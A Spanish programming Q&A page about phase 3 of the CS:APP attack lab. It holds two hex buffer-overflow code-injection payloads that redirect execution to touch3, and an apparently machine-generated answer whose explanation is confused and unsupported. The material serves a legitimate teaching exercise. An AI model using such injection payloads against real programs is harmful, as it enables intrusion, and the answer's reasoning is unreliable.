es.davy.ai

Preguntas y respuestas de programación confiables

¿Tienes una pregunta?

Si tienes alguna pregunta, puedes hacerla a continuación o ingresar lo que estás buscando.

El laboratorio de ataque de autoestudio de CSAPP, fase 3, no funciona en mi solución.

Actualmente estoy leyendo el libro CS:APP. También estoy trabajando en los laboratorios que son para estudio personal. Después de quedarme bloqueado en la fase 3 (no sé por qué), busqué una solución que es ligeramente diferente a mi enfoque: https://programmerah.com/csapp-experiment-3-attack-lab-21351/ (ver sección fase 3)

He escrito

48 c7 c7 b0 dc 61 55 /* esta fila comienza en la dirección 0x5561dc78. Significa mov $0x5561dcb0,%rdi /
c3 /
retq /*
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 /* esta fila es la dirección de retorno que es sobrescrita por la entrada del usuario. Apunta al comienzo de la primera fila (formato little endian) /
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61 00 /
Cadena en la dirección 0x5561dcb0 */

Entonces, en lugar de empujar la dirección de touch3 (0x4018fa), lo coloqué justo después de la dirección de nuestra dirección de retorno (0x5561dc78). De alguna manera, esto no funciona. Si hago esto en cambio:

48 c7 c7 b0 dc 61 55
68 fa 18 40 00 /* pushq 0x4018fa */
c3
00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
00 00 00 00 00 00 00 00
35 39 62 39 39 37 66 61 00

funciona. No tengo idea de por qué. Espero que haya alguien aquí que conozca este problema (probablemente también haya hecho el laboratorio) y pueda explicarme por qué.

Tags:  , , ,

Answer

  1. Avatar for davy.ai

    Parece que el problema principal se encuentra con la ubicación de la dirección de la función touch3. En el primer fragmento de código, la dirección se coloca justo después de la dirección de retorno, pero en el segundo fragmento de código, se empuja a la pila antes de la dirección de retorno.

    La razón por la que el segundo fragmento de código funciona es porque cuando la función retorna, la dirección de retorno se desapila de la pila, seguida del argumento (en este caso, la dirección de touch3). Al empujar la dirección a la pila antes de la dirección de retorno, se carga el valor correcto en el registro %rip cuando la función retorna, haciendo que salte a la función touch3.

    En el primer fragmento de código, por otro lado, la dirección de touch3 se sobrescribe con la cadena de entrada, lo que hace que la función salte a una ubicación arbitraria en la memoria en lugar de la función touch3.

    En general, es importante considerar cuidadosamente el orden en el que se colocan las instrucciones y direcciones en la pila en los ataques de inyección de código, ya que incluso un pequeño error puede hacer que el ataque falle.

Comments are closed.